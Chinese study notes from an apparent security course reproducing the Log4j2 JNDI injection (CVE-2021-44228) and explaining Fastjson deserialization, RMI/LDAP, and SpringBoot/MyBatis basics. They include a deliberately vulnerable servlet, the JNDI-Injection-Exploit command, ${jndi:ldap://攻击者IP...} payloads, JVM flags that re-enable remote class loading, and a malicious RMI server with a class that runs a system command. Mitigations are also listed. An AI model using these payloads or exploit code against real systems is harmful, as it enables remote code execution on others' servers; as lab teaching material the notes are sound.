    Log4j是Apache的日志管理组件,用于控制日志的输出目的地、格式和级别。其安全风险主要源于2.x版本中存在的JNDI注入漏洞:当日志内容包含${jndi:}格式的恶意字符串时,会触发远程代码执行(RCE),这是网安领域中极具影响力的"供应链攻击"案例。

  2. JavaEE-组件安全-Fastjson

    Fastjson是阿里巴巴开发的JSON解析库,用于Java对象与JSON字符串的转换。其安全风险在于反序列化过程中对@type字段的处理:攻击者可通过构造包含@type的恶意JSON,指定加载恶意类并执行代码,属于典型的"反序列化漏洞"。

  3. JavaEE-基本了解-JNDI-API

    JNDI(Java命名和目录接口)是Java用于访问分布式资源的接口,支持RMI、LDAP等服务。其设计初衷是简化资源查找,但攻击者可利用其"远程加载类"的特性,通过注入恶意资源地址实现代码执行,是上述Log4j、Fastjson漏洞的核心触发机制。

演示案例:

  • Java-三方组件-Log4J&JNDI:通过Log4j日志组件处理用户可控输入时,利用JNDI注入执行远程代码。
  • Java-三方组件-FastJson&反射:利用Fastjson反序列化时的类型指定功能,结合Java反射机制调用恶意类方法。

Java-项目管理工具-配置

Jar仓库:

  • 官方地址:https://mvnrepository.com/
    用于获取Java第三方组件的依赖配置(如Log4j、Fastjson的版本信息),是Java项目管理的基础工具。

Maven配置:

JNDI相关概念:

  1. JNDI核心功能 :JNDI是统一接口,底层可对接RMI、LDAP等服务。应用通过名称(如jndi:ldap://xxx)查找远程资源,JNDI会自动将资源加载到本地并实例化------这一"自动加载"特性既是便利,也是安全风险的根源。

  2. 反序列化常用利用方式

    • RMI(远程方法调用):允许Java对象跨JVM调用方法。攻击者可搭建恶意RMI服务,返回含恶意代码的对象引用。
    • LDAP(轻量级目录访问协议):用于访问树形目录服务。攻击者可构造恶意LDAP响应,指向远程恶意类。
  3. RMI与LDAP的区别

    RMI更侧重"方法执行",LDAP更侧重"数据查询",但两者均可作为JNDI注入的载体,本质是通过JNDI接口将恶意类加载到目标系统。

JNDI注入:

原理:

攻击者通过控制输入,将JNDI接口的lookup()方法参数修改为恶意RMI/LDAP地址(如jndi:ldap://攻击者IP/恶意类)。目标系统执行lookup()时,会从恶意地址加载并实例化类,触发类中的恶意代码(如构造方法、静态代码块中的命令)。

核心流程:
用户输入可控参数参数被传入JNDI lookup()目标访问恶意服务器加载并执行恶意类远程代码执行

FastJson JNDI 注入漏洞

FastJson在解析JSON字符串时,若遇到@type字段,会根据字段值指定的类名进行反序列化(即实例化该类)。

  • 攻击路径 :攻击者构造含@type的JSON(如{"@type":"恶意类","属性":"值"}),目标解析时会实例化"恶意类",若该类的构造方法或属性设置方法包含恶意代码(如执行系统命令),则触发攻击。
  • 远程扩展 :结合JNDI时,恶意类可通过jndi:xxx地址远程加载,实现无需预先在目标系统存恶意类即可攻击。

Java-三方组件-Log4J&JNDI

Log4j:日志管理

Log4j是Apache的开源日志组件,支持日志输出到控制台、文件、网络等,可通过配置文件灵活控制。其2.x版本(如2.14.1)存在严重漏洞:当日志内容包含${jndi:}格式字符串时,会自动触发JNDI lookup,若内容可控则导致RCE。

Log4j-组件安全复现

本地简单实现
  1. 创建Maven项目 :命名为Log4jDemo
  2. 导入漏洞版本依赖pom.xml):
java 复制代码
<dependencies>

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->

<!-- 引入Log4j Core 2.14.1版本,该版本存在JNDI注入漏洞 -->

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-core</artifactId>

<version>2.14.1</version>

</dependency>

</dependencies>
  1. 编写测试代码Log4jTest.java):
java 复制代码
import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

public class Log4jTest {

//使用Log4j 实现错误日志输出

// 创建 Logger 实例,用于日志记录

private static final Logger logger = LogManager.getLogger(Log4jTest.class);

public static void main(String[] args) {

//如果这个code变量是可控的(如来自用户输入),则存在严重安全风险

// 潜在的安全风险:使用不受信任的数据作为日志消息,可能被注入恶意Payload

String code = "${java:os}"; // ${java:os}是Log4j的变量替换语法,会解析为系统信息

// 将不受信任的数据作为日志消息传递给 Logger.error,Log4j会自动解析其中的变量

logger.error("{}",code);

}

}

正常使用

java 复制代码
package com.example.demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {

    //使用Log4j 实现错误日志输出
    // 创建 Logger 实例,用于日志记录
    private static final Logger logger = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {

        logger.info("这是一条 info 日志");
        logger.error("这是一条 error 日志");
        logger.warn("这是一条 warn 日志");

    }
}

Log4j 的日志是分级别的,优先级从高到低为:ERROR > WARN > INFO > DEBUG

  • 你的代码里写了 logger.info()logger.warn()logger.error()
  • Log4j 默认只输出级别为 ERROR 及以上的日志
  • INFOWARN 级别低于 ERROR,所以被系统 "拦截" 了,自然就看不到。

2.3 日志级别

每个Logger都被了一个日志级别(log level),用来控制日志信息的输出。日志级别从高到低分为:

A:off 最高等级,用于关闭所有日志记录。

B:fatal 指出每个严重的错误事件将会导致应用程序的退出。

C:error 指出虽然发生错误事件,但仍然不影响系统的继续运行。

D:warm 表明会出现潜在的错误情形。

E:info 一般和在粗粒度级别上,强调应用程序的运行全程。

F:debug 一般用于细粒度级别上,对调试应用程序非常有帮助。

G:all 最低等级,用于打开所有日志记录。

是的!只要你写了 logger.error("内容") 这行代码,程序运行到这里就会立刻输出日志,完全不需要程序真的报错、抛异常!


核心区分(新手最容易搞混)

你把两个完全不同的东西弄混了:

  1. logger.error()你主动写的打印代码 就是一行普通代码,执行到就输出,和 System.out.println() 一模一样,和程序是否报错没有任何关系
  2. 程序报错 / 抛异常 :代码运行出错了(比如除以 0、空指针)这是程序自己出问题,不会自动打印日志 ,除非你手动在 catch 里写 logger.error()

举个秒懂的例子

复制代码
// 1. 纯手动打印 error 日志(无任何报错,照样输出!)
logger.error("这是一条 error 日志"); 

// 2. 程序真的报错了,不写 logger 就不会输出
int a = 1 / 0; // 这里会崩溃,但不会自动打印 error 日志

// 3. 捕获异常后打印(这才是报错时打印日志)
try {
    int a = 1 / 0;
} catch (Exception e) {
    logger.error("程序报错了", e); // 手动打印异常信息
}

🔍 先明确核心结论

${} 语法是 Log4j 2 专属的「Lookups(查找)特性」 ,Log4j 1.x 仅支持极有限的系统属性占位符,且没有完整的 Lookups 机制。官方文档里对 ${} 的支持有明确说明,我帮你拆解如下:


1. 版本差异:Log4j 1 vs Log4j 2

  • Log4j 1.x(如 1.2.17)
    • 仅支持极简单的 ${} 语法(比如 ${sys:property} 读取系统属性),但没有完整的 Lookups 框架 ,也不支持 java:osjndi: 这类扩展前缀。
    • 官方文档几乎不会重点讲 ${},因为它不是核心功能。
  • Log4j 2.x(2.0 及以上)
    • 完整实现了 Lookups 特性 ,这是 ${} 语法的底层支撑,支持多种前缀(java:sys:env:jndi: 等)。
    • 这也是你看到 ${java:os} 的前提 ------必须是 Log4j 2.x 版本

2. 官方文档里哪里写了支持 ${}

(1)Log4j 2 核心文档:Lookups 章节

这是最权威的说明,Apache 官方专门用一个章节讲解 ${} 语法:

  • 官方地址https://logging.apache.org/log4j/2.x/manual/lookups.html
  • 文档里明确定义: Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.
  • 语法格式:${prefix:key},其中 prefix 标识查找类型,key 是要获取的属性名。
    • 比如 ${java:os} 对应 JavaLookup,获取 JVM 系统属性中的操作系统信息;
    • ${sys:user.name} 对应 SystemPropertiesLookup,获取系统属性;
    • ${env:JAVA_HOME} 对应 EnvironmentLookup,获取环境变量。
(2)配置文件变量替换章节

在 Log4j 2 的配置文档里,也明确说明了 ${} 的变量替换规则:


3. 官方教程里的示例

官方文档里直接给出了 ${} 的使用示例,比如在配置文件中动态设置日志文件名:

xml

复制代码
<Appenders>
  <File name="ApplicationLog" fileName="${sys:logPath}/app.log" />
</Appenders>

这里 ${sys:logPath} 会读取系统属性 logPath 的值,拼接成日志文件路径。

再比如你关心的 ${java:os},在 JavaLookup 部分有说明:

The JavaLookup allows applications to retrieve values from the system properties. For example, ${java:os} would retrieve the value of the os.name system property.


4. 为什么基础教程很少提?

  • 入门门槛${} 是进阶定制功能,不是跑通日志的必要内容,基础教程会优先讲 %d%p 等通用格式。
  • 版本兼容 :很多教程还在讲 Log4j 1.x,而 Log4j 1.x 不支持 java:os 这类扩展前缀。
  • 安全风险${jndi:} 前缀曾引发 CVE-2021-44228 漏洞,现在官方文档也会强调安全限制,基础教程更不会主动提及高风险语法。

5. 关联到你关注的安全场景

你之前看到的 ${java:os} 其实是 Log4j 2 Lookups 的一部分,而 CVE-2021-44228(Log4j2 远程代码执行漏洞) 正是利用了 JndiLookup${jndi:ldap://...})语法。


📌 总结

  • ${} 语法的官方定义 :在 Log4j 2 的 Lookups 文档 里,是 Log4j 2 的核心扩展特性。
  • Log4j 1.x 不支持:没有完整的 Lookups 机制,仅支持极简单的系统属性占位符。
  • 安全关联${jndi:} 是漏洞利用点,而 ${java:os} 是安全的系统属性查询语法。

Java 查找器(Java Lookup)

  • 上下文:全局
  • 语法java:<key>
  • 支持的键version, runtime, vm, os, locale, hw
  • 功能:获取 Java 运行环境信息。
构造HTTP Web服务复现漏洞
  1. 开发带漏洞的Web接口
java 复制代码
@WebServlet("/log4j") // 定义Servlet访问路径为/log4j

public class Log4jServlet extends HttpServlet {

// 创建Logger实例用于日志记录

private static final Logger Logger = LogManager.getLogger(Log4jServlet.class);

@Override

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

// 从请求中获取名为 "code" 的参数,该参数完全由用户控制

String code = req.getParameter("code");

// 记录日志,潜在的安全风险:直接使用用户输入,若输入为恶意JNDI地址则触发漏洞

Logger.error("{}", code);

}

}
  1. 解决Tomcat特殊字符限制
    问题:Tomcat 7.9+默认禁止URL中包含{}等特殊字符,导致含${jndi:}的Payload被拦截,报400错误。解决:修改Tomcat的server.xml,允许特殊字符:
  2. 路径结构Tomcat根目录/conf/server.xml

配置后效果:

  1. 利用JNDI工具执行攻击

    攻击者使用JNDI注入工具(如JNDI-Injection-Exploit.jar)搭建恶意服务器:

    java 复制代码
    java -jar JNDI-Injection-Exploit.jar -C "calc" -A 攻击者IP # -C指定执行命令(打开计算器),-A指定攻击者IP

    我来给你讲明白!工具生成 3 组不同的 Payload,是为了适配 3 种完全不同的 Java 运行环境 ,不是多余的;我只讲第一个,是因为它 100% 适配你现在的测试环境,直接用就能成功!

    一、3 组 Payload 分别对应什么环境?(一眼看懂)

    工具按照 JDK 版本 + 环境配置 分了 3 类,你只需要记第一类,另外两类你完全用不上

    表格

    分组 适用环境 你能用吗? 备注
    第一组 JDK 1.8(你的环境!) 必须用这个 最通用、Log4j 漏洞默认适配,成功率最高
    第二组 JDK 1.7(超老版本) ❌ 不用 你装的是 JDK8,这个给古董 Java 环境用
    第三组 高版本 JDK + Tomcat/SpringBoot ❌ 不用 针对修复了基础安全配置的环境,测试用不到

    二、每组里面的 rmi://ldap:// 啥区别?

    每一组里都有两个地址,功能完全一样,只是协议不同

  2. ldap:// (推荐你用):Log4j2 漏洞(CVE-2021-44228)首选协议,兼容性最好,几乎不会被拦截;

  3. rmi://:老协议,部分环境会屏蔽,测试优先不用。

  1. 工具生成Payload(如${jndi:ldap://攻击者IP:1389/xxx}),通过URL传入目标:
    http://目标IP:8080/log4j?code=${jndi:ldap://攻击者IP:1389/xxx}

    目标执行日志记录时解析Payload,访问恶意LDAP服务器,加载并执行calc命令。

    攻击流程示意图:

没弹出计算器的核心原因

从你的日志能看到:JNDI 工具已经收到了漏洞请求 (有 Send LDAP reference resultRMI lookup 日志),但命令没执行 ------ 问题出在 你的 JDK8 版本默认禁用了「远程类加载」,导致恶意代码无法运行。

你用的是 Corretto JDK 1.8.0_482,属于 JDK8 u121 之后的版本 ,Oracle 从这个版本开始,默认把 trustURLCodebase 设为 false,直接阻止了 JVM 从远程 URL 加载恶意类,所以计算器弹不出来。


✅ 两种解决方法(任选其一即可)

方法 1:给 Tomcat 加 JVM 参数,开启远程类加载(最直接)
  1. 打开 IDEA 的 Tomcat 配置:

    • 顶部 Run → Edit Configurations → 找到你的 Tomcat 配置
    • 切换到 Server 标签页 → 找到 VM options(虚拟机选项)
  2. 粘贴这两行参数:

    复制代码
    -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=true
  3. 重启 Tomcat,重新发送 Payload

确实不加 VM options就没弹。

src的话

已经知道存在漏洞是因为在打日志的时候存在问题,所以对于黑盒测试而言,只要是能够被服务端获取且被记录的地方都是可以触发漏洞的,比如 header 中的 Cookie、User-agent 等,post或者get的参数中,url中等,这种只能盲打,根据返回结果来判断。

所以检测时主要在header和数据部分中增加 payload 进行漏洞触发,可以使用dnslog平台相关域名访问进行漏洞检测。

++部分公共dnslog平台如下:++

++ceye.io++ ++、dnslog.link、dnslog.cndnslog.iotu4.orgburpcollaborator.net、s0x.cn++

这边我使用了ceye.io来进行验证。

Request data:

POST /xxx HTTP/1.1

Host: (漏洞IP):49153

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

X-Forwarded-For: 1.1.1.1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

payload=${jndi:ldap://xxxxxx.ceye.io}

图 7 dnslog验证请求

从平台上可以看到dns的解析记录,说明存在漏洞。

Log4j2 漏洞(CVE-2021-44228)是一个远程代码执行高危漏洞 ,影响 Log4j 2.0 - 2.14.1 版本。漏洞根源是 Log4j2 的 Lookup 占位符解析机制 存在安全缺陷:程序在打印日志时,会自动解析日志内容中的 ${} 表达式,且默认开启了 JndiLookup 功能 。攻击者构造 ${jndi:ldap://恶意服务器/xxx} 输入到系统,日志打印时会触发 JNDI 查找,从远程加载恶意类,最终实现无权限、无交互的远程代码执行

**问:为什么 JNDI 查找会导致远程代码执行?**答:

  1. JNDI 的 lookup 方法支持解析 Reference 引用对象
  2. Reference 可以指定远程类加载地址 ,JVM 会通过 URLClassLoader 自动从该地址下载并加载字节码文件;
  3. Log4j2 漏洞中,攻击者构造 ${jndi:远程地址},Log4j 自动触发 JNDI 查找;
  4. 恶意 Reference 引导 JVM 加载远程恶意类,静态代码块中的命令被执行,最终造成远程代码执行(RCE)
  5. JDK 6u131/7u141/8u121 之后,默认禁用了远程类加载,缓解了该风险。

二、处置方法:

升级Log4j到最新版本

若暂时无法进行升级操作,可先用下列措施进行临时缓解:

1、添加jvm参数启动:-Dlog4j2.formatMsgNoLookups=true

图 15 添加jvm参数启动

2、在应用的classpath下添加log4j2.component.properties配置文件,文件内容为:log4j2.formatMsgNoLookups=true

图 16 添加配置

3、设置系统环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true

4、使用下列命令,移除log4j-core包中的JndiLookup 类文件:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

++注:当且仅当Apache Log4j >= 2.10版本时,可使用1、2、3、4的任一措施进行防护。++

5、采用人工方式禁用JNDI,例:在spring.properties里添加spring.jndi.ignore=true

6、建议使用JDK在11.0.1、8u191、7u201、6u211及以上的高版本,可在一定程度防止RCE。

7、限制受影响应用对外访问互联网,并在边界对dnslog相关域名访问进行检测。

fastjson

之前复现过

Fastjson 是阿里的 JSON 解析库,其漏洞本质是 autoType 导致的不安全反序列化

攻击者可以通过构造带有 @type 的 JSON,指定反序列化类,

在对象创建或属性赋值过程中触发危险逻辑,从而实现远程代码执行。

常见利用方式包括:

  • 通过 JdbcRowSetImpl 触发 JNDI

  • 或利用本地反序列化 gadget 链

不出网环境下的FastJson利用:C3P0链构造与WAF绕过技巧-CSDN博客

黑盒找 Fastjson 本质是:

👉 找"JSON 反序列化入口 + 用户可控"

🔥 常见使用场景

1️⃣ Java Web 后端(最常见)

  • Spring Boot 项目

  • SSM(Spring + SpringMVC + MyBatis)

  • 传统 Servlet / Tomcat 项目

👉 很多老项目默认用 Fastjson

Fastjson 基本只存在于 Java 系统,黑盒可以通过 JSON 接口 + @type 探针 + 报错特征来识别。

难点总结

  1. 环境版本限制

    • JDK版本:JDK 8u121+对RMI/LDAP的信任机制做了增强,默认禁止加载远程代码,需利用低版本JDK或特殊绕过手段。
    • 组件版本:Log4j 2.15.0+、Fastjson 1.2.83+已修复相关漏洞,需确认目标使用的是存在漏洞的旧版本。
  2. 特殊字符处理

    目标服务器(如Tomcat)可能限制URL中的特殊字符({}等),导致Payload被拦截,需通过修改服务器配置或编码转换(如URL编码)绕过。

  3. 反射与反序列化的隐蔽性

    漏洞利用依赖Java反射机制(如Fastjson调用类的构造方法、setter方法),代码层面无明显恶意调用,难以通过简单审计发现,需结合静态分析工具或沙箱检测。

  4. 攻击链完整性

    需同时控制恶意服务器(RMI/LDAP/HTTP)、构造正确的Payload、确保目标能访问恶意服务器,任何一环失败都会导致攻击失效,实战中需解决网络连通性、防火墙限制等问题。

day37

你可以这么理解:

JNDI = 接口(统一入口)

RMI / LDAP = 具体实现(协议)

就像:

JDBC(接口)

MySQL / Oracle(实现)

三、分开讲 RMI 和 LDAP


🔥 1️⃣ RMI 是怎么回事?


📌 RMI 返回什么?

👉 返回的是:

序列化对象(Serialized Object)


流程:

客户端 lookup()

RMI Server 返回:

→ 一个序列化对象

客户端反序列化

触发 gadget 链


🎯 重点

👉 RMI 是"反序列化攻击"路径


💣 举例(本质)

RMI → 返回一个对象

readObject()

执行恶意代码


🔥 2️⃣ LDAP 是怎么回事?


📌 LDAP 返回什么?

👉 返回的是:

Reference(引用对象)


内容类似:

className = Exploit

codebase = http://attacker.com/


流程:

JNDI lookup ldap://

LDAP 返回 Reference

JVM 看到:

class = Exploit

codebase = http://xxx

尝试加载这个类


⚠️ 关键点来了


❗ 旧版本 JDK(<=8u121)

👉 会:

http://xxx 下载 Exploit.class

👉 然后执行


❗ 新版本 JDK

👉 禁止:

远程 class 加载 ❌

👉 所以你:

👉 ❌ 弹不出计算器


🎯 四、总结对比(非常重要)

RMI LDAP
返回内容 序列化对象 Reference
是否直接反序列化
是否涉及 class 下载 ✔(旧版本)
主要利用方式 gadget 链 远程 class / 本地类

核心结论(一句话击穿)

你学的是 【普通 Java RMI 远程调用】 但漏洞工具用的是 【JNDI + RMI 命名服务】两者完全不是一个东西! 所以本地没有服务器的类,依然能执行代码


一、先分清两个完全不同的 RMI

1. 你学到的:普通 RMI(你发的这段)

  • 作用:远程调用方法、传输 Java 对象
  • 规则:返回序列化对象 → 本地必须有这个类 → 才能反序列化
  • 限制:本地没有类 → 直接报错,无法运行
  • 这是标准 RMI 用法

2. 漏洞用的:JNDI + RMI 命名服务(Registry)

  • 作用:查找对象,不是调用方法
  • 核心魔法 :RMI 服务不返回自定义对象 ,而是返回 JDK 内置的 Reference 对象
  • 关键:Reference 是 Java 自带的类!本地天生就有! 不需要服务器的类!

二、漏洞工具的真实流程(完美回答你的疑问)

你的 JNDI-Injection-Exploit 工具启动的是 RMI 命名服务,流程是这样的:

复制代码
lookup("rmi://127.0.0.1:1099/xxx")
  1. 请求 RMI 服务
  2. RMI 返回:Reference(JDK 自带类,本地 100% 存在)✅ 不违反你说的 RMI 规则✅ 不需要服务器的类✅ 直接反序列化成功(因为是 JDK 自带类)
  3. JVM 解析 Reference 发现里面有两个关键信息:
  4. JVM 自动远程下载类 本地没有这个类?没关系,自动去远程下载!
  5. 加载恶意类 → 执行静态代码 → 弹计算器

JNDI-Injection & marshalsec 实现原理:

以RMI调用为例,核心流程是通过RMI服务绑定恶意类引用,诱导目标系统加载并执行:

  1. 启动RMI注册表:监听指定端口(通常是1099),用于管理远程对象的注册和查找。

    java 复制代码
    Registry registry = LocateRegistry.createRegistry(1099);

    这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。

  2. 注册远程对象 :服务器创建Reference对象(包含恶意类信息),包装后绑定到RMI注册表。

    java 复制代码
    // Reference参数说明:
    
    // className:远程加载时使用的类名
    
    // classFactory:需要实例化的类名(恶意类)
    
    // classFactoryLocation:恶意类的远程地址(支持file/ftp/http等)
    
    Reference reference = new Reference("Calc", "Calc", "http://localhost/");
    
    // 将Reference包装为RMI可识别的对象
    
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    
    // 绑定到注册表,名称为"calc"
    
    registry.bind("calc", wrapper);
  3. 客户端查找远程对象 :目标系统通过lookup()方法从RMI注册表获取恶意对象的代理。

    java 复制代码
    Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");
  4. 触发恶意代码执行 :目标系统在获取代理对象时,会从classFactoryLocation下载恶意类(如Calc.class)并实例化,构造方法中的恶意代码(如执行系统命令)被执行。

完整代码示例

java 复制代码
import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import java.rmi.server.Reference;

import java.rmi.server.ReferenceWrapper;

public class RMIServer {

public static void main(String[] args) throws Exception {

// 1. 创建 RMI 注册表并监听在 1099 端口上

Registry registry = LocateRegistry.createRegistry(1099);

// 2. 创建包含恶意类信息的 Reference 对象

// className: 远程加载时使用的类名

// classFactory: 要实例化的恶意类名

// classFactoryLocation: 恶意类的远程地址(HTTP服务器)

Reference reference = new Reference("Calc", "Calc", "http://localhost/");

// 3. 将Reference包装为RMI可处理的对象

ReferenceWrapper wrapper = new ReferenceWrapper(reference);

// 4. 绑定到RMI注册表,名称为"calc"

registry.bind("calc", wrapper);

}

}




import java.lang.Runtime;

// 恶意类:构造方法中执行系统命令(打开远程桌面)

public class Calc {

public Calc() throws Exception{

Runtime.getRuntime().exec("mstsc");

}

}

JNDI-Injection & marshalsec 区别:

两者都是JNDI注入利用工具,但对不同JDK版本的支持不同:

工具\服务\JDK版本 JDK 17 JDK 11 JDK 8u362 JDK 8u112
LDAP - marshalsec 支持 支持 支持 支持
RMI - marshalsec 不支持 不支持 不支持 支持
LDAP - JNDI-Injection 不支持 不支持 不支持 支持
RMI - JNDI-Injection 不支持 不支持 不支持 支持

关键结论

  1. RMI和LDAP都可用于远程调用恶意类执行代码。
  2. 攻击中常用jndi-injectmarshalsec工具生成恶意服务。
  3. JDK高版本会限制RMI和LDAP的利用(marshalsec对LDAP有部分高版本绕过能力)。
  4. 除了直接调用InitialContext.lookup(),其他间接调用该方法的类(如JdbcRowSetImpl)也可能成为注入入口。

第38天:JavaEE应用&SpringBoot

@Controller 做 Web 后端的核心能力

加了这个注解的类,SpringBoot 会自动识别它为HTTP 请求处理器,能实现 Web 后端的核心功能:

  • 绑定前端访问的路由 (配合@GetMapping/@PostMapping/@RequestMapping);
  • 接收前端传入的参数 (配合@RequestParam/@RequestBody/@PathVariable);
  • 处理请求后响应结果(两种方式,对应你不同的漏洞场景)。

知识点:

  1. JavaEE-SpringBoot-WebAPP&路由:涉及SpringBoot Web应用中HTTP请求的路由映射、参数传递和响应处理,是Web应用交互的基础,也是安全防护的第一道关口(如参数校验、请求方法限制等)。
  2. JavaEE-SpringBoot-Mybatis&注入:MyBatis作为ORM框架,若使用不当可能导致SQL注入漏洞,需掌握其安全使用方式。
  3. JavaEE-SpringBoot-Thymeleaf&SSTI:Thymeleaf模板引擎在特定场景下可能存在服务器端模板注入(SSTI),需了解其漏洞原理和防御措施。

演示案例:

  • SpringBoot-Web应用-路由响应:展示SpringBoot如何处理HTTP请求的路由映射、参数传递和数据响应。
  • SpringBoot-数据库应用-Mybatis:演示MyBatis操作数据库的基本流程及潜在的SQL注入风险。
  • SpringBoot-模版引擎-Thymeleaf:说明Thymeleaf模板渲染机制及SSTI漏洞的产生与利用。

Spring Boot是由Pivotal团队提供的一套开源框架,可以简化spring应用的创建及部署。它提供了丰富的Spring模块化支持,可以帮助开发者更轻松快捷地构建出企业级应用。Spring Boot通过自动配置功能,降低了复杂性,同时支持基于JVM的多种开源框架,可以缩短开发时间,使开发更加简单和高效。

SpringBoot-Web应用-路由响应

参考:https://springdoc.cn/spring-boot/

1、路由映射:

@RequestMapping, @GetMapping, 和 @PostMapping 注解用于定义HTTP请求的映射路径。
@RequestMapping 是通用注解,而 @GetMapping 和 @PostMapping 是其简化形式,分别用于处理GET和POST请求。

从安全角度看,明确请求方法(GET/POST)可减少越权请求风险。例如,敏感操作(如修改数据)应限制为POST方法,避免通过GET请求直接执行(GET请求参数会暴露在URL中,易被记录和篡改)。

2、参数传递:

@RequestParam 注解用于从HTTP请求中提取参数,使得控制器方法可以访问并使用这些参数。

参数传递是安全风险的高发点,未校验的参数可能导致XSS、注入等漏洞。例如,若直接将@RequestParam获取的参数拼接进SQL或模板渲染,可能引发安全问题。

3、数据响应:

@RestController 注解用于标识一个类是RESTful风格的控制器,它包含了 @ResponseBody 和 @Controller 的功能。

@ResponseBody 表示方法的返回值将直接作为HTTP响应体返回给客户端。

@Controller 通常用于标识传统的MVC控制器,而 @RestController 更适用于RESTful风格的控制器。

响应数据若包含敏感信息(如用户密码),需进行脱敏处理;同时,响应格式(如JSON/HTML)需根据场景控制,避免因错误配置导致数据泄露。

创建SpringDemo项目

修改服务器URL:https://start.aliyun.com(速度更快版本更稳定),而且Spring官方(https://start.spring.io)不再提供旧版本的初始化配置,无法选择Java8

选择Spring Web

创建cn.wusuowei.springdemo.controller.IndexController

以下是对 IndexController 类的分析:

  • 注解说明:
    @RestController 注解表示这是一个控制器类,专门用于处理RESTful请求,同时它也包含了 @ResponseBody 和 @Controller 的功能。
    使用 @RequestMapping 注解指定了类中所有方法的基本路径,即这些方法的映射路径的前缀。
  • GET请求处理:
    getindex() 方法用于处理GET请求,映射路径是 "/xiaodiget"。
    get_g() 方法用于处理GET请求,映射路径是 "/xiaodiget_g",并且使用 @RequestParam 注解来接收名为 "name" 的参数。
  • POST请求处理:
    getpost() 方法用于处理POST请求,映射路径是 "/xiaodipost"。
    get_p() 方法用于处理POST请求,映射路径同样是 "/xiaodipost_p",并且同样使用 @RequestParam 注解来接收名为 "name" 的参数。
  • 注解的简化形式:
    在注释中也提到了使用 @GetMapping 和 @PostMapping 的简化形式,这两者分别等同于 @RequestMapping 中指定了请求方法的注解。
复制代码
java 复制代码
package cn.wusuowei.springdemo.controller;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.*;

@RestController // 等同于@Controller + @ResponseBody,返回值直接作为响应体

public class IndexController {

// 指定GET请求的访问路由:/xiaodiget

// @RequestMapping(value = "/xiaodiget", method = RequestMethod.GET) 等价于 @GetMapping("/xiaodiget")

@RequestMapping(value = "/xiaodiget", method = RequestMethod.GET)

public String getindex() {

return "get test"; // 直接返回字符串作为响应

}

// 指定POST请求的访问路由:/xiaodipost

// @RequestMapping(value = "/xiaodipost", method = RequestMethod.POST) 等价于 @PostMapping("/xiaodipost")

@RequestMapping(value = "/xiaodipost", method = RequestMethod.POST)

public String getpost() {

return "post test";

}

// 处理带参数的GET请求:/xiaodiget_g?name=xxx

@RequestMapping(value = "/xiaodiget_g", method = RequestMethod.GET)

public String get_g(@RequestParam String name) { // @RequestParam接收URL中的name参数

return "get test" + name; // 直接拼接参数返回,存在XSS风险(若name包含恶意脚本)

}

// 处理带参数的POST请求:/xiaodipost_p,参数在请求体中

@RequestMapping(value = "/xiaodipost_p", method = RequestMethod.POST)

public String get_p(@RequestParam String name) {

return "post test" + name; // 同样存在XSS风险

}

}

这个注解,其实和之前的servlet的@WebServlet(name = "helloServlet", value = "/hello-servlet")

差不多,理解为映射路由就行。

SpringBoot-数据库应用-Mybatis

这里选了就不需要再pom.xml加了。

现在MySQL的相关依赖已经加入,但是对于端口和MySQL的账号密码还没设置,所以现在开始设置MySQL

(1)配置资源,要在resource文件下配置

(1)有两种创建配置文件的方法,要用哪一种呢?

一种创建文件的方法是直接在application.properties里面配置

配置文件如下

java 复制代码
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.datasource.url=jdbc:mysql://localhost:3306/blog?useUnicode=true&characterEncoding=utf8
spring.datasource.username=root
spring.datasource.password=123456

这个文件前面都带有spring.datasource的前缀并且管理起来也不方便

所以另外一种创建配置类的方法是,创建一个application.yml的yml文件,使得结构清晰,方便管理

并且yml文件的书写方法方便快捷,如下

java 复制代码
spring:
  datasource:
    url: jdbc:mysql://localhost:3306/blog?   useUnicode=true&characterEncoding=utf8
    username: root
    password: 123456
    driver-class-name: com.mysql.cj.jdbc.Driver

注意:yml文件的顶格和空格代表了上下级关系,所以这个顶格不能去掉。

创建User类用来操作数据库数据

java 复制代码
4、创建User类用来操作数据库数据
package cn.xiaodisec.springbootmybatils.entity;

// 代表用户实体的实体类(与数据库表admin的字段对应)
public class User {
    private Integer id; // 对应数据库id字段
    private String username; // 对应数据库username字段
    private String password; // 对应数据库password字段

    // getter和setter方法:用于访问和修改私有属性
    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    // 重写 toString() 以便于日志记录和调试(打印对象时显示字段值)
    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", username='" + username + '\'' +
                ", password='" + password + '\'' +
                '}';
    }
}

5、创建Mapper动态接口代理类实现

java 复制代码
package cn.xiaodisec.springbootmybatils.mapper;

import cn.xiaodisec.springbootmybatils.entity.User;

import org.apache.ibatis.annotations.Insert;

import org.apache.ibatis.annotations.Mapper;

import org.apache.ibatis.annotations.Select;

import java.util.List;

@Mapper // 标识为MyBatis的Mapper接口,MyBatis会自动生成实现类

public interface UserMapper {

// 选择所有用户的SQL查询(查询admin表所有数据)

@Select("select * from admin ")

